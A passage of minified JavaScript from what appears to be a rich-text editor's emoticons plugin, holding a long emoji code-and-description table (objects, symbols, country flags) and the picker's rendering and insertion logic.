Flag"},{code:"1F4EC",desc:"Open Mailbox with Raised Flag"},{code:"1F4ED",desc:"Open Mailbox with Lowered Flag"},{code:"1F5F3",desc:"Postbox"},{code:"270F",desc:"Pencil"},{code:"2712",desc:"Black Nib"},{code:"1F4DD",desc:"Memo"},{code:"1F4BC",desc:"Briefcase"},{code:"1F4C1",desc:"File Folder"},{code:"1F4C2",desc:"Open File Folder"},{code:"1F4C5",desc:"Calender"},{code:"1F4C6",desc:"Tear-off Calender"},{code:"1F4C7",desc:"Card Index"},{code:"1F4C8",desc:"Chart with Upwards Trend"},{code:"1F4C9",desc:"Chart with Downwards Trend"},{code:"1F4CA",desc:"Bar Chart"},{code:"1F4CB",desc:"Clipboard"},{code:"1F4CC",desc:"Pushpin"},{code:"1F4CD",desc:"Round Pushpin"},{code:"1F4CE",desc:"Paperclip"},{code:"1F4CF",desc:"Straight Ruler"},{code:"1F4D0",desc:"Triangular Ruler"},{code:"2702",desc:"Black Scissors"},{code:"1F512",desc:"Lock"},{code:"1F513",desc:"Open Lock"},{code:"1F50F",desc:"Lock with Ink Pen"},{code:"1F510",desc:"Closed Lock with Key"},{code:"1F511",desc:"Key"},{code:"1F528",desc:"Hammer"},{code:"1F52B",desc:"Pistol"},{code:"1F527",desc:"Wrench"},{code:"1F529",desc:"Nut and Bolt"},{code:"1F517",desc:"Link Symbol"},{code:"1F489",desc:"Syringe"},{code:"1F48A",desc:"Pill"},{code:"1F6AC",desc:"Smoking Symbol"},{code:"1F5FF",desc:"Moyai"},{code:"1F52E",desc:"Crystal Ball"}]},{id:"symbols",name:"Symbols",code:"1F3E7",emoticons:[{code:"1F3E7",desc:"Automated Teller Machine"},{code:"1F6AE",desc:"Put Litter in Its Place Symbol"},{code:"1F6B0",desc:"Potable Water Symbol"},{code:"267F",desc:"Wheelchair Symbol"},{code:"1F6B9",desc:"Mens Symbol"},{code:"1F6BA",desc:"Womens Symbol"},{code:"1F6BB",desc:"Restroom"},{code:"1F6BC",desc:"Baby Symbol"},{code:"1F6BE",desc:"Water Closet"},{code:"1F6C2",desc:"Passport Control"},{code:"1F6C3",desc:"Customs"},{code:"1F6C4",desc:"Baggage Claim"},{code:"1F6C5",desc:"Left Luggage"},{code:"26A0",desc:"Warning Sign"},{code:"1F6B8",desc:"Children Crossing"},{code:"26D4",desc:"No Entry"},{code:"1F6AB",desc:"No Entry Sign"},{code:"1F6B3",desc:"No Bicycles"},{code:"1F6AD",desc:"No Smoking Symbol"},{code:"1F6AF",desc:"Do Not Litter Symbol"},{code:"1F6B1",desc:"Non-Potable Water Symbol"},{code:"1F6B7",desc:"No Pedestrians"},{code:"1F4F5",desc:"No Mobile Phones"},{code:"1F51E",desc:"No One Under Eighteen Symbol"},{code:"2B06",desc:"Upwards Black Arrow"},{code:"2197",desc:"North East Arrow"},{code:"27A1",desc:"Black Rightwards Arrow"},{code:"2198",desc:"South East Arrow"},{code:"2B07",desc:"Downwards Black Arrow"},{code:"2199",desc:"South West Arrow"},{code:"2B05",desc:"Leftwards Black Arrow"},{code:"2196",desc:"North West Arrow"},{code:"2195",desc:"Up Down Arrow"},{code:"2194",desc:"Left Right Arrow"},{code:"21A9",desc:"Leftwards Arrow with Hook"},{code:"21AA",desc:"Rightwards Arrow with Hook"},{code:"2934",desc:"Arrow Pointing Rightwards Then Curving Upwards"},{code:"2935",desc:"Arrow Pointing Rightwards Then Curving Downwards"},{code:"1F503",desc:"Clockwise Downwards and Upwards Open Circle Arrows"},{code:"1F504",desc:"Anticlockwise Downwards and Upwards Open Circle Arrows"},{code:"1F519",desc:"Back with Leftwards Arrow Above"},{code:"1F51A",desc:"End with Leftwards Arrow Above"},{code:"1F51B",desc:"On with Exclamation Mark with Left Right Arrow Above"},{code:"1F51C",desc:"Soon with Rightwards Arrow Above"},{code:"1F51D",desc:"Top with Upwards Arrow Above"},{code:"1F52F",desc:"Six Pointed Star with Middle Dot"},{code:"2648",desc:"Aries"},{code:"2649",desc:"Taurus"},{code:"264A",desc:"Gemini"},{code:"264B",desc:"Cancer"},{code:"264C",desc:"Leo"},{code:"264D",desc:"Virgo"},{code:"264E",desc:"Libra"},{code:"264F",desc:"Scorpius"},{code:"2650",desc:"Sagittarius"},{code:"2651",desc:"Capricorn"},{code:"2652",desc:"Aquarius"},{code:"2653",desc:"Pisces"},{code:"26CE",desc:"Ophiuchus"},{code:"1F500",desc:"Twisted Rightwards Arrows"},{code:"1F501",desc:"Clockwise Rightwards and Leftwards Open Circle Arrows"},{code:"1F502",desc:"Clockwise Rightwards and Leftwards Open Circle Arrows with Circled One Overlay"},{code:"25B6",desc:"Black Right-Pointing Triangle"},{code:"23E9",desc:"Black Right-Pointing Double Triangle"},{code:"25C0",desc:"Black Left-Pointing Triangle"},{code:"23EA",desc:"Black Left-Pointing Double Triangle"},{code:"1F53C",desc:"Up-Pointing Small Red Triangle"},{code:"23EB",desc:"Black Up-Pointing Double Triangle"},{code:"1F53D",desc:"Down-Pointing Small Red Triangle"},{code:"23EC",desc:"Black Down-Pointing Double Triangle"},{code:"1F3A6",desc:"Cinema"},{code:"1F505",desc:"Low Brightness Symbol"},{code:"1F506",desc:"High Brightness Symbol"},{code:"1F4F6",desc:"Antenna with Bars"},{code:"1F4F3",desc:"Vibration Mode"},{code:"1F4F4",desc:"Mobile Phone off"},{code:"267B",desc:"Black Universal Recycling Symbol"},{code:"1F531",desc:"Trident Emblem"},{code:"1F4DB",desc:"Name Badge"},{code:"1F530",desc:"Japanese Symbol for Beginner"},{code:"2B55",desc:"Heavy Large Circle"},{code:"2705",desc:"White Heavy Check Mark"},{code:"2611",desc:"Ballot Box with Check"},{code:"2714",desc:"Heavy Check Mark"},{code:"2716",desc:"Heavy Multiplication X"},{code:"274C",desc:"Cross Mark"},{code:"274E",desc:"Negative Squared Cross Mark"},{code:"2795",desc:"Heavy Plus Sign"},{code:"2796",desc:"Heavy Minus Sign"},{code:"2797",desc:"Heavy Division Sign"},{code:"27B0",desc:"Curly Loop"},{code:"27BF",desc:"Double Curly Loop"},{code:"303D",desc:"Part Alternation Mark"},{code:"2733",desc:"Eight Spoked Asterisk"},{code:"2734",desc:"Eight Pointed Black Star"},{code:"2747",desc:"Sparkle"},{code:"203C",desc:"Double Exclamation Mark"},{code:"2049",desc:"Exclamation Question Mark"},{code:"2753",desc:"Black Question Mark Ornament"},{code:"2754",desc:"White Question Mark Ornament"},{code:"2755",desc:"White Exclamation Mark Ornament"},{code:"2757",desc:"Heavy Exclamation Mark Symbol"},{code:"3030",desc:"Wavy Dash"},{code:"2122",desc:"Trade Mark Sign"},{code:"1F51F",desc:"Keycap Ten"},{code:"1F4AF",desc:"Hundred Points Symbol"},{code:"1F520",desc:"Input Symbol for Latin Capital Letters"},{code:"1F521",desc:"Input Symbol for Latin Small Letters"},{code:"1F522",desc:"Input Symbol for Numbers"},{code:"1F523",desc:"Input Symbol for Symbols"},{code:"1F524",desc:"Input Symbol for Latin Letters"},{code:"1F170",desc:"Negative Squared Latin Capital Letter a"},{code:"1F18E",desc:"Negative Squared Ab"},{code:"1F171",desc:"Negative Squared Latin Capital Letter B"},{code:"1F191",desc:"Squared Cl"},{code:"1F192",desc:"Squared Cool"},{code:"1F193",desc:"Squared Free"},{code:"2139",desc:"Information Source"},{code:"1F194",desc:"Squared Id"},{code:"24C2",desc:"Circled Latin Capital Letter M"},{code:"1F195",desc:"Squared New"},{code:"1F196",desc:"Squared Ng"},{code:"1F17E",desc:"Negative Squared Latin Capital Letter O"},{code:"1F197",desc:"Squared Ok"},{code:"1F17F",desc:"Negative Squared Latin Capital Letter P"},{code:"1F198",desc:"Squared Sos"},{code:"1F199",desc:"Squared Up with Exclamation Mark"},{code:"1F19A",desc:"Squared Vs"},{code:"1F201",desc:"Squared Katakana Koko"},{code:"1F202",desc:"Squared Katakana Sa"},{code:"1F237",desc:"Squared Cjk Unified Ideograph-6708"},{code:"1F236",desc:"Squared Cjk Unified Ideograph-6709"},{code:"1F22F",desc:"Squared Cjk Unified Ideograph-6307"},{code:"1F250",desc:"Circled Ideograph Advantage"},{code:"1F239",desc:"Squared Cjk Unified Ideograph-5272"},{code:"1F21A",desc:"Squared Cjk Unified Ideograph-7121"},{code:"1F232",desc:"Squared Cjk Unified Ideograph-7981"},{code:"1F251",desc:"Circled Ideograph Accept"},{code:"1F238",desc:"Squared Cjk Unified Ideograph-7533"},{code:"1F234",desc:"Squared Cjk Unified Ideograph-5408"},{code:"1F233",desc:"Squared Cjk Unified Ideograph-7a7a"},{code:"3297",desc:"Circled Ideograph Congratulation"},{code:"3299",desc:"Circled Ideograph Secret"},{code:"1F23A",desc:"Squared Cjk Unified Ideograph-55b6"},{code:"1F235",desc:"Squared Cjk Unified Ideograph-6e80"},{code:"25AA",desc:"Black Small Square"},{code:"25AB",desc:"White Small Square"},{code:"25FB",desc:"White Medium Square"},{code:"25FC",desc:"Black Medium Square"},{code:"25FD",desc:"White Medium Small Square"},{code:"25FE",desc:"Black Medium Small Square"},{code:"2B1B",desc:"Black Large Square"},{code:"2B1C",desc:"White Large Square"},{code:"1F536",desc:"Large Orange Diamond"},{code:"1F537",desc:"Large Blue Diamond"},{code:"1F538",desc:"Small Orange Diamond"},{code:"1F539",desc:"Small Blue Diamond"},{code:"1F53A",desc:"Up-Pointing Red Triangle"},{code:"1F53B",desc:"Down-Pointing Red Triangle"},{code:"1F4A0",desc:"Diamond Shape with a Dot Inside"},{code:"1F518",desc:"Radio Button"},{code:"1F532",desc:"Black Square Button"},{code:"1F533",desc:"White Square Button"},{code:"26AA",desc:"Medium White Circle"},{code:"26AB",desc:"Medium Black Circle"},{code:"1F534",desc:"Large Red Circle"},{code:"1F535",desc:"Large Blue Circle"}]},{id:"flags",name:"Flags",code:"1F3C1",emoticons:[{code:"1f3c1",desc:"Chequered Flag"},{code:"1f1e8-1f1f3",desc:"China Flag"},{code:"1f38c",desc:"Crossed Flags"},{code:"1f1e9-1f1ea",desc:"Germany Flag"},{code:"1f1ea-1f1f8",desc:"Spain Flag"},{code:"1f1e6-1f1e8",desc:"Ascension Island Flag"},{code:"1f1e6-1f1e9",desc:"Andorra Flag"},{code:"1f1e6-1f1ea",desc:"United Arab Emirates Flag"},{code:"1f1e6-1f1eb",desc:"Afghanistan Flag"},{code:"1f1e6-1f1ec",desc:"Antigua & Barbuda Flag"},{code:"1f1e6-1f1ee",desc:"Anguilla Flag"},{code:"1f1e6-1f1f1",desc:"Albania Flag"},{code:"1f1e6-1f1f2",desc:"Armenia Flag"},{code:"1f1e6-1f1f4",desc:"Angola Flag"},{code:"1f1e6-1f1f6",desc:"Antarctica Flag"},{code:"1f1e6-1f1f7",desc:"Argentina Flag"},{code:"1f1e6-1f1f8",desc:"American Samoa Flag"},{code:"1f1e6-1f1f9",desc:"Austria Flag"},{code:"1f1e6-1f1fa",desc:"Australia Flag"},{code:"1f1e6-1f1fc",desc:"Aruba Flag"},{code:"1f1e6-1f1fd",desc:"\xc5land Islands Flag"},{code:"1f1e6-1f1ff",desc:"Azerbaijan Flag"},{code:"1f1e7-1f1e7",desc:"Barbados Flag"},{code:"1f1e7-1f1e9",desc:"Bangladesh Flag"},{code:"1f1e7-1f1ea",desc:"Belgium Flag"},{code:"1f1e7-1f1eb",desc:"Burkina Faso Flag"},{code:"1f1e7-1f1ec",desc:"Bulgaria Flag"},{code:"1f1e7-1f1ed",desc:"Bahrain Flag"},{code:"1f1e7-1f1ee",desc:"Burundi Flag"},{code:"1f1e7-1f1ef",desc:"Benin Flag"},{code:"1f1e7-1f1f1",desc:"St. Barth\xe9lemy Flag"},{code:"1f1e7-1f1f2",desc:"Bermuda Flag"},{code:"1f1e7-1f1f4",desc:"Bolivia Flag"},{code:"1f1e7-1f1f6",desc:"Caribbean Netherlands Flag"},{code:"1f1e7-1f1f7",desc:"Brazil Flag"},{code:"1f1e7-1f1f8",desc:"Bahamas Flag"},{code:"1f1e7-1f1f9",desc:"Bhutan Flag"},{code:"1f1e7-1f1fb",desc:"Bouvet Island Flag"},{code:"1f1e7-1f1fc",desc:"Botswana Flag"},{code:"1f1e7-1f1fe",desc:"Belarus Flag"},{code:"1f1e7-1f1ff",desc:"Belize Flag"},{code:"1f1e8-1f1e6",desc:"Canada Flag"},{code:"1f1e8-1f1e8",desc:"Cocos (keeling) Islands Flag"},{code:"1f1e8-1f1e9",desc:"Congo - Kinshasa Flag"},{code:"1f1e8-1f1eb",desc:"Central African Republic Flag"},{code:"1f1e8-1f1ec",desc:"Congo - Brazzaville Flag"},{code:"1f1e8-1f1ed",desc:"Switzerland Flag"},{code:"1f1e8-1f1ee",desc:"C\xf4te D\u2019ivoire Flag"},{code:"1f1e8-1f1f0",desc:"Cook Islands Flag"},{code:"1f1e8-1f1f1",desc:"Chile Flag"},{code:"1f1e8-1f1f2",desc:"Cameroon Flag"},{code:"1f1e8-1f1f4",desc:"Colombia Flag"},{code:"1f1e8-1f1f7",desc:"Costa Rica Flag"},{code:"1f1e8-1f1fa",desc:"Cuba Flag"},{code:"1f1e8-1f1fb",desc:"Cape Verde Flag"},{code:"1f1e8-1f1fc",desc:"Cura\xe7ao Flag"},{code:"1f1e8-1f1fd",desc:"Christmas Island Flag"},{code:"1f1e8-1f1fe",desc:"Cyprus Flag"},{code:"1f1e8-1f1ff",desc:'Czechia Flag"'},{code:"1f1e9-1f1ec",desc:"Diego Garcia Flag"},{code:"1f1e9-1f1ef",desc:"Djibouti Flag"},{code:"1f1e9-1f1f0",desc:"Denmark Flag"},{code:"1f1e9-1f1f2",desc:"Dominica Flag"},{code:"1f1e9-1f1f4",desc:"Dominican Republic Flag"},{code:"1f1e9-1f1ff",desc:"Algeria Flag"},{code:"1f1ea-1f1e6",desc:"Ceuta & Melilla Flag"},{code:"1f1ea-1f1e8",desc:"Ecuador Flag"},{code:"1f1ea-1f1ea",desc:"Estonia Flag"},{code:"1f1ea-1f1ec",desc:"Egypt Flag"},{code:"1f1ea-1f1ed",desc:"Western Sahara Flag"},{code:"1f1ea-1f1f7",desc:"Eritrea Flag"},{code:"1f1ea-1f1f9",desc:"Ethiopia Flag"},{code:"1f1ea-1f1fa",desc:"European Union Flag"},{code:"1f1eb-1f1ee",desc:"Finland Flag"},{code:"1f1eb-1f1ef",desc:"Fiji Flag"},{code:"1f1eb-1f1f0",desc:"Falkland Islands Flag"},{code:"1f1eb-1f1f2",desc:"Micronesia Flag"},{code:"1f1eb-1f1f4",desc:"Faroe Islands Flag"},{code:"1f1ec-1f1e6",desc:"Gabon Flag"},{code:"1f1ec-1f1e9",desc:"Grenada Flag"},{code:"1f1ec-1f1ea",desc:"Georgia Flag"},{code:"1f1ec-1f1eb",desc:"French Guiana Flag"},{code:"1f1ec-1f1ec",desc:"Guernsey Flag"},{code:"1f1ec-1f1ed",desc:"Ghana Flag"},{code:"1f1ec-1f1ee",desc:"Gibraltar Flag"},{code:"1f1ec-1f1f1",desc:"Greenland Flag"},{code:"1f1ec-1f1f2",desc:"Gambia Flag"},{code:"1f1ec-1f1f3",desc:"Guinea Flag"},{code:"1f1ec-1f1f5",desc:"Guadeloupe Flag"},{code:"1f1ec-1f1f6",desc:"Equatorial Guinea Flag"},{code:"1f1ec-1f1f7",desc:"Greece Flag"},{code:"1f1ec-1f1f8",desc:"South Georgia & South Sandwich Islands Flag"},{code:"1f1ec-1f1f9",desc:"Guatemala Flag"},{code:"1f1ec-1f1fa",desc:"Guam Flag"},{code:"1f1ec-1f1fc",desc:"Guinea-Bissau Flag"},{code:"1f1ec-1f1fe",desc:"Guyana Flag"},{code:"1f1ed-1f1f0",desc:"Hong Kong Sar China Flag"},{code:"1f1ed-1f1f2",desc:"Heard & Mcdonald Islands Flag"},{code:"1f1ed-1f1f3",desc:"Honduras Flag"},{code:"1f1ed-1f1f7",desc:"Croatia Flag"},{code:"1f1ed-1f1f9",desc:"Haiti Flag"},{code:"1f1ed-1f1fa",desc:"Hungary Flag"},{code:"1f1ee-1f1e8",desc:"Canary Islands Flag"},{code:"1f1ee-1f1e9",desc:"Indonesia Flag"},{code:"1f1ee-1f1ea",desc:"Ireland Flag"},{code:"1f1ee-1f1f1",desc:"Israel Flag"},{code:"1f1ee-1f1f2",desc:"Isle of Man Flag"},{code:"1f1ee-1f1f3",desc:"India Flag"},{code:"1f1ee-1f1f4",desc:"British Indian Ocean Territory Flag"},{code:"1f1ee-1f1f6",desc:"Iraq Flag"},{code:"1f1ee-1f1f7",desc:"Iran Flag"},{code:"1f1ee-1f1f8",desc:"Iceland Flag"},{code:"1f1ef-1f1ea",desc:"Jersey Flag"},{code:"1f1ef-1f1f2",desc:"Jamaica Flag"},{code:"1f1ef-1f1f4",desc:"Jordan Flag"},{code:"1f1f0-1f1ea",desc:"Kenya Flag"},{code:"1f1f0-1f1ec",desc:"Kyrgyzstan Flag"},{code:"1f1f0-1f1ed",desc:"Cambodia Flag"},{code:"1f1f0-1f1ee",desc:"Kiribati Flag"},{code:"1f1f0-1f1f2",desc:"Comoros Flag"},{code:"1f1f0-1f1f3",desc:"St. Kitts & Nevis Flag"},{code:"1f1f0-1f1f5",desc:"North Korea Flag"},{code:"1f1f0-1f1fc",desc:"Kuwait Flag"},{code:"1f1f0-1f1fe",desc:"Cayman Islands Flag"},{code:"1f1f0-1f1ff",desc:"Kazakhstan Flag"},{code:"1f1f1-1f1e6",desc:"Laos Flag"},{code:"1f1f1-1f1e7",desc:"Lebanon Flag"},{code:"1f1f1-1f1e8",desc:"St. Lucia Flag"},{code:"1f1f1-1f1ee",desc:"Liechtenstein Flag"},{code:"1f1f1-1f1f0",desc:"Sri Lanka Flag"},{code:"1f1f1-1f1f7",desc:"Liberia Flag"},{code:"1f1f1-1f1f8",desc:"Lesotho Flag"},{code:"1f1f1-1f1f9",desc:"Lithuania Flag"},{code:"1f1f1-1f1fa",desc:"Luxembourg Flag"},{code:"1f1f1-1f1fb",desc:"Latvia Flag"},{code:"1f1f1-1f1fe",desc:"Libya Flag"},{code:"1f1f2-1f1e6",desc:"Morocco Flag"},{code:"1f1f2-1f1e8",desc:"Monaco Flag"},{code:"1f1f2-1f1e9",desc:"Moldova Flag"},{code:"1f1f2-1f1ea",desc:"Montenegro Flag"},{code:"1f1f2-1f1eb",desc:"St. Martin Flag"},{code:"1f1f2-1f1ec",desc:"Madagascar Flag"},{code:"1f1f2-1f1ed",desc:"Marshall Islands Flag"},{code:"1f1f2-1f1f0",desc:"Macedonia Flag"},{code:"1f1f2-1f1f1",desc:"Mali Flag"},{code:"1f1f2-1f1f2",desc:"Myanmar (burma) Flag"},{code:"1f1f2-1f1f3",desc:"Mongolia Flag"},{code:"1f1f2-1f1f4",desc:"Macau Sar China Flag"},{code:"1f1f2-1f1f5",desc:"Northern Mariana Islands Flag"},{code:"1f1f2-1f1f6",desc:"Martinique Flag"},{code:"1f1f2-1f1f7",desc:"Mauritania Flag"},{code:"1f1f2-1f1f8",desc:"Montserrat Flag"},{code:"1f1f2-1f1f9",desc:"Malta Flag"},{code:"1f1f2-1f1fa",desc:"Mauritius Flag"},{code:"1f1f2-1f1fb",desc:"Maldives Flag"},{code:"1f1f2-1f1fc",desc:"Malawi Flag"},{code:"1f1f2-1f1fd",desc:"Mexico Flag"},{code:"1f1f2-1f1fe",desc:"Malaysia Flag"},{code:"1f1f2-1f1ff",desc:"Mozambique Flag"},{code:"1f1f3-1f1e6",desc:"Namibia Flag"},{code:"1f1f3-1f1e8",desc:"New Caledonia Flag"},{code:"1f1f3-1f1ea",desc:"Niger Flag"},{code:"1f1f3-1f1eb",desc:"Norfolk Island Flag"},{code:"1f1f3-1f1ec",desc:"Nigeria Flag"},{code:"1f1f3-1f1ee",desc:"Nicaragua Flag"},{code:"1f1f3-1f1f1",desc:"Netherlands Flag"},{code:"1f1f3-1f1f4",desc:"Norway Flag"},{code:"1f1f3-1f1f5",desc:"Nepal Flag"},{code:"1f1f3-1f1f7",desc:"Nauru Flag"},{code:"1f1f3-1f1fa",desc:"Niue Flag"},{code:"1f1f3-1f1ff",desc:"New Zealand Flag"},{code:"1f1f4-1f1f2",desc:"Oman Flag"},{code:"1f1f8-1f1ff",desc:"Swaziland Flag"},{code:"1f1f5-1f1e6",desc:"Panama Flag"},{code:"1f1f5-1f1ea",desc:"Peru Flag"},{code:"1f1f5-1f1eb",desc:"French Polynesia Flag"},{code:"1f1f5-1f1ec",desc:"Papua New Guinea Flag"},{code:"1f1f5-1f1ed",desc:"Philippines Flag"},{code:"1f1f5-1f1f0",desc:"Pakistan Flag"},{code:"1f1f5-1f1f1",desc:"Poland Flag"},{code:"1f1f5-1f1f2",desc:"St. Pierre & Miquelon Flag"},{code:"1f1f5-1f1f3",desc:"Pitcairn Islands Flag"},{code:"1f1f5-1f1f7",desc:"Puerto Rico Flag"},{code:"1f1f5-1f1f8",desc:"Palestinian Territories Flag"},{code:"1f1f5-1f1f9",desc:"Portugal Flag"},{code:"1f1f5-1f1fc",desc:"Palau Flag"},{code:"1f1f5-1f1fe",desc:"Paraguay Flag"},{code:"1f1f6-1f1e6",desc:"Qatar Flag"},{code:"1f1f7-1f1ea",desc:"R\xe9union Flag"},{code:"1f1f7-1f1f4",desc:"Romania Flag"},{code:"1f1f7-1f1f8",desc:"Serbia Flag"},{code:"1f1f7-1f1fc",desc:"Rwanda Flag"},{code:"1f1f8-1f1e6",desc:"Saudi Arabia Flag"},{code:"1f1f8-1f1e7",desc:"Solomon Islands Flag"},{code:"1f1f8-1f1e8",desc:"Seychelles Flag"},{code:"1f1f8-1f1e9",desc:"Sudan Flag"},{code:"1f1f8-1f1ea",desc:"Sweden Flag"},{code:"1f1f8-1f1ec",desc:"Singapore Flag"},{code:"1f1f8-1f1ee",desc:"Slovenia Flag"},{code:"1f1f8-1f1ed",desc:"St. Helena Flag"},{code:"1f1f8-1f1ef",desc:"Svalbard & Jan Mayen Flag"},{code:"1f1f8-1f1f1",desc:"Sierra Leone Flag"},{code:"1f1f8-1f1f2",desc:"San Marino Flag"},{code:"1f1f8-1f1f3",desc:"Senegal Flag"},{code:"1f1f8-1f1f4",desc:"Somalia Flag"},{code:"1f1f8-1f1f7",desc:"Suriname Flag"},{code:"1f1f8-1f1f8",desc:"South Sudan Flag"},{code:"1f1f8-1f1f9",desc:"S\xe3o Tom\xe9 & Pr\xedncipe Flag"},{code:"1f1f8-1f1fb",desc:"El Salvador Flag"},{code:"1f1f8-1f1fd",desc:"Sint Maarten Flag"},{code:"1f1f8-1f1fe",desc:"Syria Flag"},{code:"1f1f9-1f1e6",desc:"Tristan Da Cunha Flag"},{code:"1f1f9-1f1e8",desc:"Turks & Caicos Islands Flag"},{code:"1f1f9-1f1eb",desc:"French Southern Territories Flag"},{code:"1f1f9-1f1ec",desc:"Togo Flag"},{code:"1f1f9-1f1ed",desc:"Thailand Flag"},{code:"1f1f9-1f1ef",desc:"Tajikistan Flag"},{code:"1f1f9-1f1f0",desc:"Tokelau Flag"},{code:"1f1f9-1f1f1",desc:"Timor-Leste Flag"},{code:"1f1f9-1f1f2",desc:"Turkmenistan Flag"},{code:"1f1f9-1f1f3",desc:"Tunisia Flag"},{code:"1f1f9-1f1f4",desc:"Tonga Flag"},{code:"1f1f9-1f1f7",desc:"Turkey Flag"},{code:"1f1f9-1f1f9",desc:"Trinidad & Tobago Flag"},{code:"1f1f9-1f1fb",desc:"Tuvalu Flag"},{code:"1f1f9-1f1fc",desc:"Taiwan Flag"},{code:"1f1f9-1f1ff",desc:"Tanzania Flag"},{code:"1f1fa-1f1e6",desc:"Ukraine City Flag"},{code:"1f1fa-1f1ec",desc:"Uganda Flag"},{code:"1f1fa-1f1f2",desc:"U.s. Outlying Islands Flag"},{code:"1f1fa-1f1fe",desc:"Uruguay Flag"},{code:"1f1fa-1f1ff",desc:"Uzbekistan Flag"},{code:"1f1fb-1f1e6",desc:"Vatican City Flag"},{code:"1f1fb-1f1e8",desc:"St. Vincent & Grenadines Flag"},{code:"1f1fb-1f1ea",desc:"Venezuela Flag"},{code:"1f1fb-1f1ec",desc:"British Virgin Islands Flag"},{code:"1f1fb-1f1ee",desc:"U.s. Virgin Islands Flag"},{code:"1f1fb-1f1f3",desc:"Vietnam Flag"},{code:"1f1fc-1f1f8",desc:"Samoa Flag"},{code:"1f1fb-1f1fa",desc:"Vanuatu Flag"},{code:"1f1fc-1f1eb",desc:'"Wallis & Futuna Flag'},{code:"1f1fd-1f1f0",desc:"Kosovo Flag"},{code:"1f1fe-1f1ea",desc:"Yemen Flag"},{code:"1f1fe-1f1f9",desc:"Mayotte Flag"},{code:"1f1ff-1f1e6",desc:"South Africa Flag"},{code:"1f1ff-1f1f2",desc:"Zambia Flag"},{code:"1f1ff-1f1fc",desc:"Zimbabwe Flag"},{code:"1f1eb-1f1f7",desc:"France Flag"},{code:"1f1ec-1f1e7",desc:"United Kingdom Flag"},{code:"1f1ee-1f1f9",desc:"Italy Flag"},{code:"1f1ef-1f1f5",desc:"Japan Flag"},{code:"1f1f0-1f1f7",desc:"South Korea Flag"},{code:"1f1f7-1f1fa",desc:"Russia Flag"},{code:"1F6A9",desc:"Triangular Flag on Post"},{code:"1f1fa-1f1f8",desc:"United States Flag"}]}],emoticonsButtons:["emoticonsBack","|"],emoticonsUseImage:!0}),St.PLUGINS.emoticons=function(E){var _=E.$,r=E.opts.emoticonsSet,i=r&&r[0],o="";function s(){if(!E.selection.isCollapsed())return!1;var e=E.selection.element(),t=E.selection.endElement();if(e&&E.node.hasClass(e,"fr-emoticon"))return e;if(t&&E.node.hasClass(t,"fr-emoticon"))return t;var a=E.selection.ranges(0),n=a.startContainer;if(n.nodeType==Node.ELEMENT_NODE&&0<n.childNodes.length&&0<a.startOffset){var r=n.childNodes[a.startOffset-1];if(E.node.hasClass(r,"fr-emoticon"))return r}return!1}function l(){return"".concat(function n(e,t){return'<div class="fr-buttons fr-tabs fr-tabs-scroll">\n '.concat(function a(e,n){var r="";return e.forEach(function(e){var t={image:e.code.toLowerCase()},a={elementClass:e.id===n.id?"fr-active fr-active-tab":"",emoticonsUnicodeClass:E.opts.emoticonsUseImage?"":"fr-tabs-unicode",title:E.language.translate(e.name),dataCmd:"setEmoticonCategory",dataParam1:e.id,image:E.opts.emoticonsUseImage?'<img src="https://cdnjs.cloudflare.com/ajax/libs/emojione/2.0.1/assets/svg/'.concat(t.image,'.svg"/>'):"&#x".concat(t.image,";")};r+='<button class="fr-command fr-btn '.concat(a.elementClass," ").concat(a.emoticonsUnicodeClass,'" \n title="').concat(a.title,'" data-cmd="').concat(a.dataCmd,'" data-param1="').concat(a.dataParam1,'">\n ').concat(a.image," </button>")}),r}(e,t),"\n </div>")}(r,i),"\n ").concat(function a(e){return'\n <div class="fr-icon-container fr-emoticon-container">\n '.concat(function t(e){var r="";return e.emoticons.forEach(function(e){var t=e.code.split("-").reduce(function(e,t){return e?"".concat(e,"‍&#x").concat(t.toLowerCase(),";"):"&#x".concat(t.toLowerCase(),";")},""),a={image:e.code.toLowerCase(),compiledCode:e.uCode?e.uCode:t},n={dataParam1:e.code.toLowerCase(),dataParam2:a.compiledCode,title:E.language.translate(e.desc),image:E.opts.emoticonsUseImage?'<img src="https://cdnjs.cloudflare.com/ajax/libs/emojione/2.0.1/assets/svg/'.concat(a.image,'.svg"/>'):"".concat(a.compiledCode),desc:E.language.translate(e.desc)};r+='<span class="fr-command fr-emoticon fr-icon" role="button" \n data-cmd="insertEmoticon" data-param1="'.concat(n.dataParam1,'" tabindex="0"\n data-param2="').concat(n.dataParam2,'" title="').concat(n.title,'" >\n ').concat(n.image,'<span class="fr-sr-only">').concat(n.desc," </span></span>")}),r}(e),"\n </div>\n ")}(i),"\n ").concat(function e(){return E.opts.emoticonsUseImage?'<p style="font-size: 12px; text-align: center; padding: 0 5px;">Emoji free by <a class="fr-link" tabIndex="-1" href="http://emojione.com/" target="_blank" rel="nofollow noopener noreferrer" role="link" aria-label="Open Emoji One website.">Emoji One</a></p>':""}())}return{_init:function e(){var a=function a(){for(var e=E.el.querySelectorAll(".fr-emoticon:not(.fr-deletable)"),t=0;t<e.length;t++)e[t].className+=" fr-deletable"};a(),E.events.on("html.set",a),E.events.on("keydown",function(e){if(E.keys.isCharacter(e.which)&&E.selection.inEditor()){var t=E.selection.ranges(0),a=s();E.node.hasClass(a,"fr-emoticon-img")&&a&&(0===t.startOffset&&E.selection.element()===a?_(a).before(St.MARKERS+St.INVISIBLE_SPACE):_(a).after(St.INVISIBLE_SPACE+St.MARKERS),E.selection.restore())}}),E.events.on("keyup",function(e){for(var t=E.el.querySelectorAll(".fr-emoticon"),a=0;a<t.length;a++)"undefined"!=typeof t[a].textContent&&0===t[a].textContent.replace(/\u200B/gi,"").length&&_(t[a]).remove();if(!(e.which>=St.KEYCODE.ARROW_LEFT&&e.which<=St.KEYCODE.ARROW_DOWN)){var n=s();E.node.hasClass(n,"fr-emoticon-img")&&(_(n).append(St.MARKERS),E.selection.restore())}})},insert:function c(e,t){var a=s(),n=E.selection.ranges(0);a?(0===n.startOffset&&E.selection.element()===a?_(a).before(St.MARKERS+St.INVISIBLE_SPACE):0<n.startOffset&&E.selection.element()===a&&n.commonAncestorContainer.parentNode.classList.contains("fr-emoticon")&&_(a).after(St.INVISIBLE_SPACE+St.MARKERS),E.selection.restore(),E.html.insert('<span class="fr-emoticon fr-deletable'.concat(t?" fr-emoticon-img":"",'"').concat(t?' style="background: url('.concat(t,');"'):"",">").concat(t?" ":e,"</span> ").concat(St.MARKERS),!0)):E.html.insert('<span class="fr-emoticon fr-deletable'.concat(t?" fr-emoticon-img":"",'"').concat(t?' style="background: url('.concat(t,');"'):"",">").concat(t?" ":e,"</span>").concat(St.INVISIBLE_SPACE),!0)},setEmoticonCategory:function 